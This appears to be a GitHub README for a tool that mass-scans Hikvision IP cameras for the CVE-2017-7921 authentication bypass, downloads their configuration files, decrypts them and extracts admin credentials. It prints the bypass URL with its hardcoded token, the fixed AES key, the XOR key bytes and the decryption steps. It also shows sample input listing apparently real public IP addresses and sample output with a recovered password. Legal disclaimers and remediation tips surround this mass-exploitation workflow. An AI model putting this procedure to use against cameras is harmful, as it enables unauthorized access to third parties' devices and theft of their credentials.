CVE-2017-7921 Research Toolkit

Security Statement: This tool is intended for authorized security research and vulnerability verification only.

Table of Contents

• Legal and Ethical Statement
• Project Description
• Features
• Installation
• Usage
• Output
• Defense and Remediation Recommendations
• Technical Details
• Acknowledgments

⚖️ Legal and Ethical Statement

Important: By using this tool you agree to the following terms

• Authorized Testing Only: Use only on systems for which you have explicit written authorization
• Comply with Laws: Strictly adhere to the Cybersecurity Law and relevant local laws and regulations
• Responsible Disclosure: Report vulnerabilities to vendors through official channels
• Educational Purpose: This tool is designed to raise IoT security awareness
• Assumption of Risk: Legal consequences arising from misuse of this tool are the sole responsibility of the user

This project follows the GitHub Security Research Policy and the disclosure guidelines of the Hikvision Security Response Center.

📖 Project Description

Mass detection and verification tool for the Hikvision IP camera CVE-2017-7921 authentication bypass vulnerability, supporting automatic decryption of configuration files and credential extraction.

Design Goals

• Help security researchers assess the security posture of large-scale devices
• Provide self-assessment capability for device owners
• Support generation of remediation recommendation reports
• Promote security upgrades for IoT devices

✨ Features

• ✅ Batch scan JSON-format device lists
• ✅ Multi-threaded concurrent detection (configurable thread count)
• ✅ Automatically download encrypted configuration files
• ✅ Real-time decryption and login credential extraction
• ✅ Real-time scan progress display (tqdm)
• ✅ Results automatically saved as JSON report
• ✅ Support resume scan after interruption

🛠️ Installation

Requirements

• Python 3.7 or higher
• Linux / macOS only (some features limited on Windows)

Install Dependencies

git clone https://github.com/[your-username]/CVE-2017-7921-Research-Toolkit.git
cd CVE-2017-7921-Research-Toolkit
pip install -r requirements.txt

requirements.txt

requests>=2.28.0
pycryptodome>=3.15.0
tqdm>=4.64.0

📊 Usage

1. Prepare Device Data File

Create a zc/ folder in the tool directory and place the device list in JSON format (one device object per line):

mkdir zc

Example File: devices_2025.json

{"city":"Lisbon","country":"PT","host":"109.50.152.186","link":"http://109.50.152.186:80"}
{"city":"Sao Paulo","country":"BR","host":"200.201.192.75","link":"http://200.201.192.75:8080"}

Field Descriptions:

2. Run the Scanning Tool

python batch_decrypt.py

3. Interactive Operation Example

════════════════════════════════════════════════════════════════════════════════
Hikvision Camera Configuration File Vulnerability Batch Scanner
════════════════════════════════════════════════════════════════════════════════

Available JSON files:
════════════════════════════════════════════════════════════════════════════════
1. devices_2025.json (45,678 bytes)
════════════════════════════════════════════════════════════════════════════════

Select file number: 1
Selected file: devices_2025.json
Loading device data...

Total devices to scan: 2000
Enter number of concurrent threads (default: 5): 10
Concurrent threads: 10
Starting scan...

Total devices scanned: 2000
Vulnerable devices found: 127

Vulnerable devices saved to: vulnerable_devices.json

📁 Output

After scanning completes, vulnerable_devices.json is generated, containing information about all vulnerable devices.

Example Output:

[
  {
    "url": "http://109.50.152.186",
    "config_url": "http://109.50.152.186/System/configurationFile?auth=YWRtaW46MTEK",
    "username": "admin",
    "password": "123456",
    "city": "Lisbon",
    "country": "PT",
    "org": "ISP Telecom",
    "status": "success"
  }
]

🛡️ Defense and Remediation Recommendations

For Device Owners

1. Update Firmware Immediately: Visit Hikvision Official Website to download the latest version
2. Change Default Password: Even after updating, change the default admin password
3. Network Isolation: Deploy cameras on a separate VLAN and prohibit direct public access
4. Enable IP Whitelisting: Only allow trusted IP addresses to access the management interface

For Security Professionals

1. Keep Scan Results Confidential: Do not disclose detailed information about unpatched devices
2. Assist with Remediation: Proactively contact device owners to provide technical support
3. Compliance Reporting: Generate security assessment reports compliant with ISO 27001 standards

🔬 Technical Details

Vulnerability Principle

• Authentication Bypass: /System/configurationFile?auth=YWRtaW46MTEK uses hardcoded credentials
• Weak Encryption: The configuration file uses a fixed AES-ECB key for encryption
• Key Leakage: The key 279977f62f6cfd2d91cd75b889ce0c9a is hardcoded in the firmware

Encryption Flow

1. Obtain the encrypted binary configuration file
2. AES-ECB decryption (remove first block)
3. XOR obfuscation (key: 0x73, 0x8B, 0x55, 0x44)
4. Regular expression extraction of admin account and subsequent password field

📝 License

This software is intended solely for authorized security research and educational purposes. Users are responsible for ensuring compliance with all applicable laws.

🙏 Acknowledgments

• Thank Hikvision for their timely response and firmware updates
• Thank the open source community for vulnerability analysis resources
• This project follows IoT Security Research Best Practices

Last Updated: 2025-01-29 | Version: v1.0.0 | CVE: CVE-2017-7921